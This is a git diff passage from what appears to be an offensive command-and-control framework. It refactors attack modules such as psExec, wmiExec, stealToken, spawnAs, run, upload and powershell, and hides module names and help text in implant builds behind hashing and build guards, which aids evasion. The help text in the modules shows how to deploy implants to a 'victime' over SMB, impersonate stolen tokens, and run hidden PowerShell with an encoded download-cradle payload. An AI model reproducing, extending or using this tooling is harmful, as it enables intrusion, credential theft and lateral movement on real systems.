unsigned long m_hash; private: diff --git a/modules/ModuleCmd/Tools.hpp b/modules/ModuleCmd/Tools.hpp index 0c8335a..380b207 100644 --- a/modules/ModuleCmd/Tools.hpp +++ b/modules/ModuleCmd/Tools.hpp @@ -19,6 +19,9 @@ // #include #endif + +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + #include // create the shellcode from exe, unmanaged DLL/EXE or .NET DLL/EXE @@ -85,6 +88,7 @@ std::string static inline creatShellCodeDonut( return result; } +#endif #ifdef __linux__ diff --git a/modules/Powershell/Powershell.cpp b/modules/Powershell/Powershell.cpp index 499d2ad..7d064d3 100644 --- a/modules/Powershell/Powershell.cpp +++ b/modules/Powershell/Powershell.cpp @@ -11,12 +11,18 @@ using namespace mscorlib; #endif +#include "Common.hpp" + + using namespace std; -const std::string moduleName = "powershell"; -const std::string ScriptsDirectoryFromTeamServer = "../Scripts/"; +constexpr std::string_view moduleName = "powershell"; +constexpr unsigned long moduleHash = djb2(moduleName); +#ifdef BUILD_TEAMSERVER +const std::string ScriptsDirectoryFromTeamServer = "../Scripts/"; +#endif #ifdef _WIN32 @@ -166,7 +172,11 @@ HRESULT createHost(const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost) #endif Powershell::Powershell() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { m_firstRun=true; } @@ -185,6 +195,7 @@ Powershell::~Powershell() std::string Powershell::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "Powershell:\n"; info += "Execute a powershell command.\n"; info += "To be sure to get the output of the commande do 'cmd | write-output'.\n"; @@ -196,13 +207,14 @@ std::string Powershell::getInfo() info += " - powershell import-module PowerUpSQL.ps1; Get-SQLConnectionObject\n"; info += " - powershell -i /tmp/PowerUpSQL.ps1 \n"; info += " - powershell -s /tmp/script.ps1 \n"; - +#endif return info; } int Powershell::init(std::vector &splitedCmd, C2Message &c2Message) { +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if(splitedCmd.size()<2) { c2Message.set_returnvalue(getInfo()); @@ -249,7 +261,7 @@ int Powershell::init(std::vector &splitedCmd, C2Message &c2Message) c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(shellCmd); - +#endif return 0; } @@ -273,7 +285,7 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage) m_modulesToImport+=finalCmd; std::string outCmd = execPowershell(m_modulesToImport); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(outCmd); return 0; @@ -288,7 +300,7 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage) finalCmd += "};"; std::string outCmd = execPowershell(finalCmd); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(outCmd); return 0; @@ -300,7 +312,7 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage) std::string outCmd = execPowershell(finalCmd); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(outCmd); diff --git a/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp b/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp index 0603707..95c8b60 100644 --- a/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp +++ b/modules/PrintWorkingDirectory/PrintWorkingDirectory.cpp @@ -4,10 +4,14 @@ #include #include +#include "Common.hpp" + + using namespace std; -const std::string moduleName = "pwd"; +constexpr std::string_view moduleName = "pwd"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -20,7 +24,11 @@ __declspec(dllexport) PrintWorkingDirectory* PrintWorkingDirectoryConstructor() #endif PrintWorkingDirectory::PrintWorkingDirectory() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -31,11 +39,12 @@ PrintWorkingDirectory::~PrintWorkingDirectory() std::string PrintWorkingDirectory::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "pwd:\n"; info += "PrintWorkingDirectory\n"; info += "exemple:\n"; info += "- pwd\n"; - +#endif return info; } @@ -52,7 +61,7 @@ int PrintWorkingDirectory::process(C2Message &c2Message, C2Message &c2RetMessage { std::string outCmd = printWorkingDirectory(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(""); c2RetMessage.set_returnvalue(outCmd); diff --git a/modules/PsExec/PsExec.cpp b/modules/PsExec/PsExec.cpp index 4159ae6..8867451 100644 --- a/modules/PsExec/PsExec.cpp +++ b/modules/PsExec/PsExec.cpp @@ -12,6 +12,9 @@ #include #endif +#include "Common.hpp" + + using namespace std; #ifdef __linux__ @@ -20,7 +23,8 @@ using namespace std; #endif -const std::string moduleName = "psExec"; +constexpr std::string_view moduleName = "psExec"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -37,7 +41,11 @@ BOOL createServiceWithSCM(const std::string& scmServer, const std::string& servi PsExec::PsExec() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { srand(time(NULL)); } @@ -51,6 +59,7 @@ PsExec::~PsExec() std::string PsExec::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "PsExec:\n"; info += "Create an exe on an SMB share of the victime and a service to launch this exec using system. \n"; info += "The exe must be a service binary or inject into another process. \n"; @@ -58,7 +67,7 @@ std::string PsExec::getInfo() info += "exemple:\n"; info += "- psExec m3dc.cyber.local /tmp/implant.exe\n"; info += "- psExec 10.9.20.10 /tmp/implant.exe\n"; - +#endif return info; } @@ -173,7 +182,7 @@ int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage) #endif - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 0; diff --git a/modules/Rev2self/Rev2self.cpp b/modules/Rev2self/Rev2self.cpp index da46ee6..62cb9f0 100644 --- a/modules/Rev2self/Rev2self.cpp +++ b/modules/Rev2self/Rev2self.cpp @@ -8,10 +8,13 @@ #include #endif +#include "Common.hpp" + + using namespace std; - -const std::string moduleName = "rev2self"; +constexpr std::string_view moduleName = "rev2self"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -24,7 +27,11 @@ __declspec(dllexport) Rev2self* Rev2selfConstructor() #endif Rev2self::Rev2self() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -35,17 +42,18 @@ Rev2self::~Rev2self() std::string Rev2self::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "rev2self:\n"; info += "Drop the impersonation of a token, created with makeToken\n"; info += "exemple:\n"; info += "- rev2self\n"; - +#endif return info; } int Rev2self::init(std::vector &splitedCmd, C2Message &c2Message) { - c2Message.set_instruction(m_name); + c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(""); return 0; @@ -56,7 +64,7 @@ int Rev2self::process(C2Message &c2Message, C2Message &c2RetMessage) { std::string out = rev2self(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(""); c2RetMessage.set_returnvalue(out); diff --git a/modules/Run/Run.cpp b/modules/Run/Run.cpp index 72195a9..4ed67a9 100644 --- a/modules/Run/Run.cpp +++ b/modules/Run/Run.cpp @@ -5,6 +5,9 @@ #include #include +#include "Common.hpp" + + #ifdef _WIN32 #pragma warning( disable : 4800 ) #else @@ -13,7 +16,8 @@ using namespace std; -const std::string moduleName = "run"; +constexpr std::string_view moduleName = "run"; +constexpr unsigned long moduleHash = djb2(moduleName); #define BUFSIZE 4096 @@ -27,7 +31,11 @@ __declspec(dllexport) Run* RunConstructor() #endif Run::Run() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -38,6 +46,7 @@ Run::~Run() std::string Run::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "run:\n"; info += "Run new process on the system.\n"; info += "If the cmd is a system cmd use the following syntax 'cmd /c command'.\n"; @@ -46,7 +55,7 @@ std::string Run::getInfo() info += " - run whoami\n"; info += " - run cmd /c dir\n"; info += " - run .\\Seatbelt.exe -group=system\n"; - +#endif return info; } @@ -77,7 +86,7 @@ int Run::process(C2Message &c2Message, C2Message &c2RetMessage) string shellCmd = c2Message.cmd(); std::string outCmd = execBash(shellCmd); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(shellCmd); c2RetMessage.set_returnvalue(outCmd); diff --git a/modules/Script/Script.cpp b/modules/Script/Script.cpp index 818a866..72a3827 100644 --- a/modules/Script/Script.cpp +++ b/modules/Script/Script.cpp @@ -3,10 +3,14 @@ #include #include +#include "Common.hpp" + + using namespace std; -const std::string moduleName = "script"; +constexpr std::string_view moduleName = "script"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -19,7 +23,11 @@ __declspec(dllexport) Script* ScriptConstructor() #endif Script::Script() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -30,11 +38,12 @@ Script::~Script() std::string Script::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "script:\n"; info += "Launch the script on the victim machine\n"; info += "exemple:\n"; info += " - script /tmp/toto.sh\n"; - +#endif return info; } @@ -97,7 +106,7 @@ int Script::process(C2Message &c2Message, C2Message &c2RetMessage) #endif - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_returnvalue(result); return 0; diff --git a/modules/SpawnAs/SpawnAs.cpp b/modules/SpawnAs/SpawnAs.cpp index aece414..2cd1760 100644 --- a/modules/SpawnAs/SpawnAs.cpp +++ b/modules/SpawnAs/SpawnAs.cpp @@ -21,7 +21,8 @@ using namespace std; #endif -const std::string moduleName = "spawnAs"; +constexpr std::string_view moduleName = "spawnAs"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -34,7 +35,11 @@ __declspec(dllexport) SpawnAs* A_SpawnAsConstructor() #endif SpawnAs::SpawnAs() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -45,12 +50,13 @@ SpawnAs::~SpawnAs() std::string SpawnAs::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "spawnAs:\n"; info += "Launch a new process as another user, with the given credentials. \n"; info += "exemple:\n"; info += "- spawnAs DOMAIN\\Username Password powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgA...\n"; info += "- spawnAs .\\Administrator Password C:\\Users\\Public\\Documents\\implant.exe\n"; - +#endif return info; } @@ -95,7 +101,7 @@ int SpawnAs::init(std::vector &splitedCmd, C2Message &c2Message) programToLaunch+=splitedCmd[idx]; } - c2Message.set_instruction(m_name); + c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(cmd); c2Message.set_data(programToLaunch.data(), programToLaunch.size()); } @@ -168,7 +174,7 @@ int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) result += message; cmd += " "; cmd += payload; - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 0; @@ -181,7 +187,7 @@ int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) result += "Success.\n"; - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += payload; c2RetMessage.set_cmd(cmd); diff --git a/modules/StealToken/StealToken.cpp b/modules/StealToken/StealToken.cpp index 8846ca4..4d74269 100644 --- a/modules/StealToken/StealToken.cpp +++ b/modules/StealToken/StealToken.cpp @@ -2,6 +2,7 @@ #include +#include "Common.hpp" #include "Tools.hpp" #ifdef __linux__ @@ -18,7 +19,8 @@ using namespace std; #endif -const std::string moduleName = "stealToken"; +constexpr std::string_view moduleName = "stealToken"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -31,7 +33,11 @@ __declspec(dllexport) StealToken* StealTokenConstructor() #endif StealToken::StealToken() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -42,11 +48,12 @@ StealToken::~StealToken() std::string StealToken::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "stealToken:\n"; info += "Steal a token and impersonate the it. You must have administrator privilege. \n"; info += "exemple:\n"; info += "- stealToken pid \n"; - +#endif return info; } @@ -76,7 +83,7 @@ int StealToken::process(C2Message &c2Message, C2Message &c2RetMessage) std::string result = stealToken(pid); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(""); c2RetMessage.set_returnvalue(result); return 0; diff --git a/modules/Tree/Tree.cpp b/modules/Tree/Tree.cpp index 774a57c..da2269b 100644 --- a/modules/Tree/Tree.cpp +++ b/modules/Tree/Tree.cpp @@ -5,10 +5,14 @@ #include #include +#include "Common.hpp" + + using namespace std; -const std::string moduleName = "tree"; +constexpr std::string_view moduleName = "tree"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -21,7 +25,11 @@ __declspec(dllexport) Tree* TreeConstructor() #endif Tree::Tree() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -32,11 +40,12 @@ Tree::~Tree() std::string Tree::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "tree:\n"; info += "Tree\n"; info += "exemple:\n"; info += "- tree /tmp\n"; - +#endif return info; } @@ -61,7 +70,7 @@ int Tree::process(C2Message &c2Message, C2Message &c2RetMessage) string path = c2Message.cmd(); std::string outCmd = iterProcess(path, 0); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(path); c2RetMessage.set_returnvalue(outCmd); diff --git a/modules/Upload/Upload.cpp b/modules/Upload/Upload.cpp index b6f1e26..c9a6b95 100644 --- a/modules/Upload/Upload.cpp +++ b/modules/Upload/Upload.cpp @@ -2,10 +2,14 @@ #include +#include "Common.hpp" + + using namespace std; -const std::string moduleName = "upload"; +constexpr std::string_view moduleName = "upload"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -18,7 +22,11 @@ __declspec(dllexport) Upload* UploadConstructor() #endif Upload::Upload() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -29,11 +37,12 @@ Upload::~Upload() std::string Upload::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "upload:\n"; info += "Upload a file from the attacker machine to the victime machine\n"; info += "exemple:\n"; info += "- upload c:\\temp\\toto.exe c:\\temp\\toto.exe\n"; - +#endif return info; } @@ -74,7 +83,7 @@ int Upload::init(std::vector &splitedCmd, C2Message &c2Message) int Upload::process(C2Message &c2Message, C2Message &c2RetMessage) { std::string outputFile = c2Message.outputfile(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(""); std::ofstream output(outputFile, std::ios::binary); diff --git a/modules/WmiExec/WmiExec.cpp b/modules/WmiExec/WmiExec.cpp index 47b327a..1a7f1be 100644 --- a/modules/WmiExec/WmiExec.cpp +++ b/modules/WmiExec/WmiExec.cpp @@ -16,6 +16,9 @@ #pragma comment(lib, "wbemuuid.lib") #endif +#include "Common.hpp" + + using namespace std; #ifdef __linux__ @@ -24,7 +27,8 @@ using namespace std; #endif -const std::string moduleName = "wmiExec"; +constexpr std::string_view moduleName = "wmiExec"; +constexpr unsigned long moduleHash = djb2(moduleName); #ifdef _WIN32 @@ -38,7 +42,11 @@ __declspec(dllexport) WmiExec* WmiExecConstructor() WmiExec::WmiExec() - : ModuleCmd(moduleName) +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif { } @@ -51,6 +59,7 @@ WmiExec::~WmiExec() std::string WmiExec::getInfo() { std::string info; +#ifdef BUILD_TEAMSERVER info += "WmiExec:\n"; info += "Execute a command through Windows Management Instrumentation (WMI). \n"; info += "The user have to be administrator of the remote machine. \n"; @@ -59,13 +68,14 @@ std::string WmiExec::getInfo() info += "exemple:\n"; info += "- wmiExec -u DOMAIN\\Username Password target powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AV\n"; info += "- wmiExec -k DOMAIN\\dc target powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AV\n"; - +#endif return info; } int WmiExec::init(std::vector &splitedCmd, C2Message &c2Message) { +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if (splitedCmd.size() >= 5) { string mode = splitedCmd[1]; @@ -158,13 +168,7 @@ int WmiExec::init(std::vector &splitedCmd, C2Message &c2Message) c2Message.set_returnvalue(getInfo()); return -1; } - -#ifdef __linux__ - -#elif _WIN32 - #endif - return 0; } @@ -242,7 +246,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) result += "CoInitializeEx Failed: "; result += errMsg; - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -271,7 +275,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) result += errMsg; CoUninitialize(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -293,7 +297,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) result += std::to_string(GetLastError()); CoUninitialize(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -325,7 +329,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) pLoc->Release(); CoUninitialize(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -380,7 +384,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) pLoc->Release(); CoUninitialize(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -403,7 +407,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) SysFreeString(ClassName); SysFreeString(MethodName); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -426,7 +430,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) SysFreeString(ClassName); SysFreeString(MethodName); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -449,7 +453,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) SysFreeString(ClassName); SysFreeString(MethodName); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -475,7 +479,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) SysFreeString(ClassName); SysFreeString(MethodName); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -505,7 +509,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) pLoc->Release(); CoUninitialize(); - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); cmd += " "; cmd += data; c2RetMessage.set_cmd(cmd); @@ -542,7 +546,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) cmd += " "; cmd += data; - c2RetMessage.set_instruction(m_name); + c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 0;